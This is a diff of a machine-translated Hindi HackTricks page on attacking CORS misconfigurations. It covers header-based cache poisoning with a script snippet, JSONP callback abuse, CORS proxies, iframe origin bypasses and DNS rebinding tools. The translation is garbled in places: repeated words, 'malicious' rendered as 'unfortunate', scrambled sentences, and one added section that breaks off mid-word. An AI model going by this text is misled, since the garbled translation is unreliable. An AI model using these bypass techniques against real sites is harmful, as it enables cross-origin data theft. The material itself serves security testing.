+**ध्यान दें**: HTTP हेडर उत्पीड़न जोखिमों का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता द्वारा प्रदत्त इनपुट, सहित HTTP हेडर, की मान्यता और शुद्धिकरण के महत्व को पुनः साबित करता है। हमेशा ऐसा एक मजबूत सुरक्षा मॉडल अपनाएं जिसमें इनपुट मान्यता शामिल हो ताकि ऐसी जोखिमों को रोकने के लिए।
 
 ### **क्लाइंट-साइड कैश पॉइज़निंग**
 
 [**इस अनुसंधान से**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
 
-इस परिदृश्य में, एक वेब पृष्ठ की एक घटना देखी जाती है जो सही संकोडन के बिना एक कस्टम HTTP हेडर की सामग्री को प्रतिबिम्बित करती है। विशेष रूप से, वेब पृष्ठ `X-User-id` हेडर में शामिल की गई सामग्री को प्रतिबिम्बित करता है, जिसमें दुरुपयोगी जावास्क्रिप्ट शामिल हो सकती है, जैसा कि उदाहरण में दिखाया गया है जहां हेडर में एक SVG छवि टैग शामिल है जो लोड होने पर जावास्क्रिप्ट कोड को क्रियान्वित करने के लिए डिज़ाइन किया गया है।
+इस परिदृश्य में, एक वेब पृष्ठ की एक उदाहरण देखा गया है जो सही एन्कोडिंग के बिना एक कस्टम HTTP हेडर की सामग्री को प्रतिबिंबित करता है। विशेष रूप से, वेब पृष्ठ `X-User-id` हेडर में शामिल की गई सामग्री को प्रतिबिंबित करता है, जिसमें दुर्भाग्यपूर्ण जावास्क्रिप्ट शामिल हो सकता है, जैसा कि उदाहरण में दिखाया गया है जहां हेडर में एक SVG छवि टैग शामिल है जो लोड होने पर जावास्क्रिप्ट कोड को क्रियान्वित करने के लिए डिज़ाइन किया गया है।
 
-क्रॉस-ऑरिजिन संसाधन साझाकरण (CORS) नीतियाँ कस्टम हेडर भेजने की अनुमति देती हैं। हालांकि, CORS प्रतिबंधों के कारण ब्राउज़र द्वारा प्रतिक्रिया को सीधे प्रस्तुत किए जाने के बिना, ऐसे एक उत्कृष्ट उत्कृष्ट उत्कृष्ट का उपयोग सीमित लग सकता है। महत्वपूर्ण बिंदु उत्पन्न होता है जब ब्राउज़र कैश कृत्यवाही को विचार में लिया जाता है। यदि `Vary: Origin` हेडर निर्दिष्ट नहीं किया गया है, तो ब्राउज़र द्वारा दुरुपयोगी प्रतिक्रिया को कैश किया जा सकता है। इसके बाद, यह कैश किया गया प्रतिक्रिया सीधे प्रस्तुत किया जा सकता है जब URL पर नेविगेट किया जाता है, प्रारंभिक अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को छोड़ देता है। यह तंत्र क्लाइंट-साइड कैशिंग का उपयोग करके हमले की विश्वसनीयता को बढ़ाता है।
+क्रॉस-ऑरिजिन संसाधन साझाकरण (CORS) नीतियाँ कस्टम हेडर भेजने की अनुमति देती हैं। हालांकि, CORS प्रतिबंधों के कारण ब्राउज़र द्वारा प्रतिक्रिया को सीधे प्रस्तुत किए जाने के बिना, ऐसे उत्पीड़न का उपयोग सीमित लग सकता है। महत्वपूर्ण बिंदु उत्पन्न होता है जब ब्राउज़र के कैश व्यवहार को विचार में लिया जाता है। यदि `Vary: Origin` हेडर निर्दिष्ट नहीं किया गया है, तो ब्राउज़र द्वारा दुर्भाग्यपूर्ण प्रतिक्रिया को कैश किया जा सकता है। इसके बाद, यह कैश किया गया प्रतिक्रिया सीधे प्रस्तुत की जा सकती है जब URL पर नेविगेट किया जाता है, पहले अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को छोड़ते हुए। यह तंत्र ग्राहक-साइड कैशिंग का उपयोग करके हमले की विश्वसनीयता को बढ़ाता है।
 
-इस हमले को प्रदर्शित करने के लिए, एक जावास्क्रिप्ट उदाहरण प्रदान किया गया है, जो एक वेब पृष्ठ के वातावरण में क्रियान्वित किया जाने के लिए डिज़ाइन किया गया है, जैसे कि एक JSFiddle के माध्यम से। यह स्क्रिप्ट एक सरल क्रिया करता है: यह एक निर्दिष्ट URL पर एक अनुकूल हेडर शामिल करके एक अनुरोध भेजता है जिसमें दुरुपयोगी जावास्क्रिप्ट शामिल है। सफल अनुरोध पूरा होने पर, यह लक्षित URL पर नेविगेट करने का प्रयास करता है, संभावना है कि यदि प्रतिक्रिया को `Vary: Origin` हेडर का सही संभालन किए बिना कैश किया गया है, तो डाला गया स्क्रिप्ट क्रियान्वित हो सकता है।
+इस हमले को प्रदर्शित करने के लिए, एक जावास्क्रिप्ट उदाहरण प्रस्तुत किया गया है, जो एक वेब पृष्ठ के वातावरण में क्रियान्वित किया जाने के लिए डिज़ाइन किया गया है, जैसे कि एक JSFiddle के माध्यम से। यह स्क्रिप्ट एक सरल कार्रवाई करता है: यह एक निर्दिष्ट URL पर एक अनुरोध भेजता है जिसमें दुर्भाग्यपूर्ण जावास्क्रिप्ट शामिल हेडर होता है। सफल अनुरोध पूरा होने पर, यह लक्षित URL पर नेविगेट करने का प्रयास करता है, संभावना है कि यदि प्रतिक्रिया को `Vary: Origin` हेडर का सही संभालन किए बिना कैश किया गया है, तो उपस्थित जावास्क्रिप्ट कोड का क्रियान्वित होने का कारण बन सकता है।
 ```html
 <script>
 function gotcha() { location=url }
@@ -239,15 +251,15 @@ req.send();
 
 ### XSSI (क्रॉस-साइट स्क्रिप्ट इनक्लूजन) / JSONP
 
-XSSI, जिसे क्रॉस-साइट स्क्रिप्ट इनक्लूजन के रूप में भी जाना जाता है, एक प्रकार की सुरक्षा कमी है जो इस तथ्य का फायदा उठाती है कि सेम ऑरिजिन नीति (SOP) को स्क्रिप्ट टैग का उपयोग करके संसाधनों को शामिल करते समय लागू नहीं होता है। यह इसलिए है क्योंकि स्क्रिप्ट को विभिन्न डोमेन से शामिल किया जा सकता है। यह सुरक्षा कमी एक हमलावार को यह अनुमति देती है कि वह स्क्रिप्ट टैग का उपयोग करके शामिल किया गया किसी भी सामग्री तक पहुंच सके।
+XSSI, जिसे क्रॉस-साइट स्क्रिप्ट इनक्लूजन के रूप में भी जाना जाता है, एक प्रकार की सुरक्षा दोष है जो इस तथ्य का लाभ उठाती है कि सेम ऑरिजिन नीति (SOP) को स्क्रिप्ट टैग का उपयोग करके संसाधनों को शामिल करते समय लागू नहीं होती है। यह इसलिए है क्योंकि स्क्रिप्टों को विभिन्न डोमेन से शामिल किया जा सकता है। यह सुरक्षा दोष एक हमलावादी को स्क्रिप्ट टैग का उपयोग करके शामिल किए गए किसी भी सामग्री तक पहुंचने और पढ़ने की अनुमति देता है।
 
-यह सुरक्षा कमी विशेष रूप से महत्वपूर्ण हो जाती है जब यह डायनामिक जावास्क्रिप्ट या JSONP (पैडिंग के साथ JSON) के संदर्भ में आती है, विशेषकर जब एम्बिएंट-अथॉरिटी सूचना जैसे कुकीज़ का उपयोग प्रमाणीकरण के लिए किया जाता है। एक विभिन्न होस्ट से संसाधन का अनुरोध करते समय, कुकीज़ शामिल की जाती हैं, जिससे वे हमलावार के लिए पहुंचने योग्य हो जाती हैं।
+यह सुरक्षा दोष विशेष रूप से महत्वपूर्ण हो जाता है जब यह डायनामिक जावास्क्रिप्ट या JSONP (पैडिंग के साथ जेसन) के संदर्भ में आता है, विशेषकर जब वातावरण-अधिकार सूचना जैसे कुकी का उपयोग प्रमाणीकरण के लिए किया जाता है। एक विभिन्न होस्ट से संसाधन का अनुरोध करते समय, कुकी शामिल की जाती है, जिससे उन्हें हमलावादी के लिए पहुंचने में सहायता मिलती है।
 
-इस सुरक्षा कमी को बेहतर समझने और कम करने के लिए, आप अपने वेब एप्लिकेशन में XSSI सुरक्षा कमियों की पहचान और संबोधन के लिए [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको आपके वेब एप्लिकेशन में संभावित XSSI सुरक्षा कमियों की पहचान और संबोधन में मदद कर सकता है।
+इस सुरक्षा दोष को बेहतर समझने और कम करने के लिए, आप अपने वेब एप्लिकेशन में संभावित XSSI सुरक्षा दोषों की पहचान और संबोधन के लिए [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको अपने वेब एप्लिकेशन में संभावित XSSI सुरक्षा दोषों की पहचान और संबोधन में मदद कर सकता है।
 
-[**यहाँ अधिक जानें XSSI के विभिन्न प्रकारों और उन्हें कैसे शामिल किया जाए**](xssi-cross-site-script-inclusion.md)
+[**यहाँ विभिन्न प्रकार के XSSI और उन्हें कैसे शातिग्रहित किया जाए इसके बारे में अधिक पढ़ें।**](xssi-cross-site-script-inclusion.md)
 
-अनुरोध में एक **`कॉलबैक`** **पैरामीटर** जोड़ने का प्रयास करें। शायद पृष्ठ JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। उस मामले में पृष्ठ डेटा को `Content-Type: application/javascript` के साथ वापस भेजेगा जिससे CORS नीति को बायपास किया जा सकता है।
+अनुरोध में एक **`कॉलबैक`** **पैरामीटर** जोड़ने की कोशिश करें। शायद पृष्ठ JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। उस मामले में पृष्ठ डेटा को `Content-Type: application/javascript` के साथ भेजेगा जिससे CORS नीति को बायपास किया जा सकता है।
 
 ![](<../.gitbook/assets/image (229).png>)
 
@@ -255,65 +267,69 @@ XSSI, जिसे क्रॉस-साइट स्क्रिप्ट इ
 
 `Access-Control-Allow-Origin` प्रतिबंध को बायपास करने का एक तरीका एक वेब एप्लिकेशन से एक अनुरोध करने के लिए है और प्रतिसाद भेजने के लिए। हालांकि, इस स्थिति में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक विभिन्न डोमेन पर किया जाता है।
 
-1. [**CORS-escape**](https://github.com/shalvah/cors-escape): यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को अपने हेडर्स के साथ आगे भेजता है, जबकि उसे अनुरोधित डोमेन से मेल खाते हुए उत्पादित करने के लिए उत्पादित करता है। यह CORS नीति को प्रभावी ढंग से बायपास करता है। यहाँ XMLHttpRequest के साथ एक उदाहरण उपयोग दिया गया है:
-2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): यह उपकरण अनुरोध को प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। आपके अनुरोध को जैसा है, उसे अपने तय किए गए पैरामीटर्स के साथ उत्पादित करता है।
+1. [**CORS-escape**](https://github.com/shalvah/cors-escape): यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को उसके हेडर्स के साथ आगे भेजता है, जबकि असल में उपयोगकर्ता डोमेन के अनुरोध के लिए मूल्यांकन हेडर को धोखा देता है। यह CORS नीति को प्रभावी रूप से बायपास करता है। यहाँ XMLHttpRequest के साथ एक उदाहरण उपयोग दिया गया है:
+2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): यह उपकरण अनुरोध को जैसा है उसी रूप में प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। सर्वर निर्दिष्ट पैरामीटर के साथ अपना अपना अनुरोध करता है।
 
 ### आईफ्रेम + पॉपअप बायपास
 
-आप **एक आईफ्रेम बनाकर** और **इससे एक नया विंडो खोलकर** जैसे `e.origin === window.origin` जैसे **CORS जांचों को बायपास** कर सकते हैं। अधिक जानकारी निम्नलिखित पृष्ठ में है:
+आप **एक आईफ्रेम बनाकर** और **इससे एक नया विंडो खोलकर** जैसे कार्स जांच कर सकते हैं जैसे `e.origin === window.origin`। अधिक जानकारी निम्नलिखित पृष्ठ में है:
 
 {% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
 [iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
 {% endcontent-ref %}
 
-### TTL के माध्यम से DNS रीबाइंडिंग
+### TTL के माध्यम से DNS रिबाइंडिंग
 
-TTL के माध्यम से DNS रीबाइंडिंग एक तकनीक है जो DNS रिकॉर्ड को मानियता कुछ सुरक्षा उपायों को बायपास करने के लिए उपयोग किया जाता है। यह कैसे काम करता है:
+TTL के माध्यम से DNS रिबाइंडिंग एक तकनीक है जिसका उपयोग DNS रिकॉर्ड को मानियमान सुरक्षा उपायों को बायपास करने के लिए किया जाता है। यह कैसे काम करता है:
 
-1. हमलावार एक वेब पृष्ठ बनाता है और पीड़ित से उसे पहुंचने के लिए कहता है।
-2. हमलावार फिर अपने खुद के डोमेन का DNS (आईपी) पीड़ित के वेब पृष्ठ को इंडिकेट करने के लिए बदल देता है।
-3. पीड़ित का ब्राउज़र DNS प्रतिक्रिया कैश करता है, जिसमें एक TTL (टाइम टू लिव) मान हो सकता है जो बताता है कि DNS रिकॉर्ड कितनी देर तक मान्य रखा जाना चाहिए।
-4. जब TTL समाप्त होता है, पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावार को पीड़ित के पृष्ठ पर जावास्क्रिप्ट कोड निष्पादित करने की अनुमति मिलती है।
-5. पीड़ित के आईपी के उपरांत नियंत्रण बनाए रखकर, हमलावार पीड़ित सर्वर को कुकीज़ भेजे बिना पीड़ित से जानकारी एकत्र कर सकता है।
+1. हमलावादी एक वेब पृष्ठ बनाता है और पीड़ित से उसे पहुंचने के लिए कहता है।
+2. हमलावादी फिर अपने खुद के डोमेन का DNS (आईपी) बदलता है ताकि वह पीड़ित के वेब पृष्ठ को इंगित करे।
+3. पीड़ित का ब्राउज़र DNS प्रतिक्रिया कैश करता है, जिसमें एक TTL (टाइम टू लिव) मान हो सकता है जो बताता है कि DNS रिकॉर्ड को कितनी देर तक मान्य माना जाना चाहिए।
+4. जब TTL समाप्त होता है, पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावादी को पीड़ित के पृष्ठ पर जावास्क्रिप्ट कोड चलाने की अनुमति मिलती है।
+5. पीड़ित के आईपी के ऊपर नियंत्रण बनाए रखकर, हमलावादी पीड़ित सर्वर को कुकीज़ भेजे बिना पीड़ित से जानकारी एकत्र कर सकता है।
 
 यह ध्यान देने योग्य है कि ब्राउज़रों के पास कैशिंग तंत्र हो सकते हैं जो इस तकनीक का तुरंत दुरुपयोग रोक सकते हैं, यहां भी निम्न TTL मानों के साथ।
 
-DNS रीबाइंडिंग विकल्पित आईपी जांचों को बायपास करने के लिए उपयोगी हो सकता है जो पीड़ित द्वारा किए गए निर्देशित आईपी जांचों को बायपास करने के लिए या उन स्थितियों के लिए जहां एक उपयोगकर्ता या बॉट एक लंबे समय तक एक ही पृष्ठ पर रहता है, जिससे कैश समाप्त होने का समय होता है।
+DNS रिबाइंडिंग विभिन्न उपयोगकर्ता या बॉट एक विस्तारित अवधि के लिए एक ही पृष्ठ पर रहने के लिए या पीड़ित द्वारा किए गए स्पष्ट आईपी जांचों को बायपास करने के लिए उपयोगी हो सकता है।
 
-यदि आप DNS रीबाइंडिंग का दुरुपयोग करने के लिए एक त्वरित तरीका चाहते हैं, तो आप [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) जैसी सेवाओं का उपयोग कर सकते हैं।
+यदि आपको DNS रिबाइंडिंग का त्वरित तरीका चाहिए, तो आप [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) जैसी सेवाओं का उपयोग कर सकते हैं।
 
-अपनी खुद की DNS रीबाइंडिंग सर्वर चलाने के लिए, आप **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें अपने स्थानीय पोर्ट 53/udp को उजागर करना, इसके लिए एक ए रिकॉर्ड बनाना जो इसे इंडिकेट करता है (जैसे, ns.example.com), और पहले बनाए गए ए उपडोमेन के लिए इंडिकेट करने वाला एनएस रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन फिर आपके होस्ट द्वारा हल किया जाएगा।
+अपनी खुद की DNS रिबाइंडिंग सर्वर चलाने के लिए, आप **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें अपने स्थानीय पोर्ट 53/udp को उजागर करना, इसके लिए एक ए रिकॉर्ड बनाना जो इसे इंगित करता है (जैसे, ns.example.com), और पहले बनाए गए ए उपडोमेन को इंगित करने वाला एनएस रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन आपके होस्ट द्वारा हल किया जाएगा।
 
 आप एक सार्वजनिक रूप से चल रहे सर्वर पर भी जांच सकते हैं [http://rebind.it/singularity.html](http://rebind.it/singularity.html) और अधिक समझने और प्रयोग करने के लिए।
 
-### DNS रीब
+### DNS रिबाइंडिंग के माध्यम से **DNS कैश फ्लडिंग**
+
+DNS रिबाइंडिंग के माध्यम से DNS कैश फ्लडिंग एक और तकनीक है जिसका उपयोग ब्राउज़रों के कै
 ### अन्य सामान्य बायपास
 
 * यदि **आंतरिक IPs की अनुमति नहीं है**, तो वे **0.0.0.0 को निषेधित करना भूल सकते हैं** (लिनक्स और मैक पर काम करता है)
 * यदि **आंतरिक IPs की अनुमति नहीं है**, तो **localhost** के लिए **CNAME** के साथ प्रतिसाद दें (लिनक्स और मैक पर काम करता है)
-* यदि **आंतरिक IPs की अनुमति नहीं है** तो DNS प्रतिसाद में, आप **www.corporate.internal** जैसे आंतरिक सेवाओं के लिए **CNAMEs** प्रतिसाद दे सकते हैं।
+* यदि **आंतरिक IPs की अनुमति नहीं है** जैसे DNS प्रतिसाद, तो आप **www.corporate.internal** जैसे आंतरिक सेवाओं के लिए **CNAMEs** प्रतिसाद दे सकते हैं।
 
 ### DNS Rebidding Weaponized
 
 आप पिछले बायपास तकनीकों और निम्नलिखित उपकरण का उपयोग कैसे करें के बारे में अधिक जानकारी टॉक में पा सकते हैं [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)।
 
-[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) एक उपकरण है जो [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) हमलों को करने के लिए है। यह हमले सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर पुनः बाइंड करने और लक्षित मशीन पर संक्रमित सॉफ़्टवेयर का शिकार करने के लिए हमले के पेयलोड सेवित करने के आवश्यक घटक शामिल करता है।
+[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) एक उपकरण है जो [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) हमलों को करने के लिए है। यह हमले करने वाले सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर पुनः बाइंड करने और लक्षित मशीन पर सॉफ़्टवेयर को उत्पीड़ित करने के लिए हमले के पेयलोड सेवित करने के आवश्यक घटक शामिल करता है।
 
 ### DNS Rebinding के विरुद्ध वास्तविक सुरक्षा
 
 * आंतरिक सेवाओं में TLS का उपयोग करें
-* डेटा तक पहुंचने के लिए प्रमाणीकरण का अनुरोध करें
+* डेटा तक पहुंचने के लिए अनुरोध प्रमाणीकरण करें
 * होस्ट हेडर को मान्यता दें
-* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): प्रस्ताव सदैव एक पूर्व-उड़ान अनुरोध भेजने के लिए जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुंचना चाहते हैं
+* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): प्रस्ताव जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुंचना चाहते हैं तो हमेशा एक पूर्व-उड़ान अनुरोध भेजने के लिए
 
 ## **उपकरण**
 
-**CORS नीतियों में संभावित गलतियों को खोजने के लिए फज़्ज़ करें**
+**CORS नीतियों में संभावित गलतियों को फज़ करें**
 
+* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
 * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
 * [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
 * [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
 * [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
+* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)
 
 ## संदर्भ
 
@@ -326,17 +342,3 @@ DNS रीबाइंडिंग विकल्पित आईपी जा
 * [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
 * [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
-
-<details>
-
-<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
-
-HackTricks का समर्थन करने के अन्य तरीके:
-
-* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
-* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
-* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
-* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
-* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
-
-</details>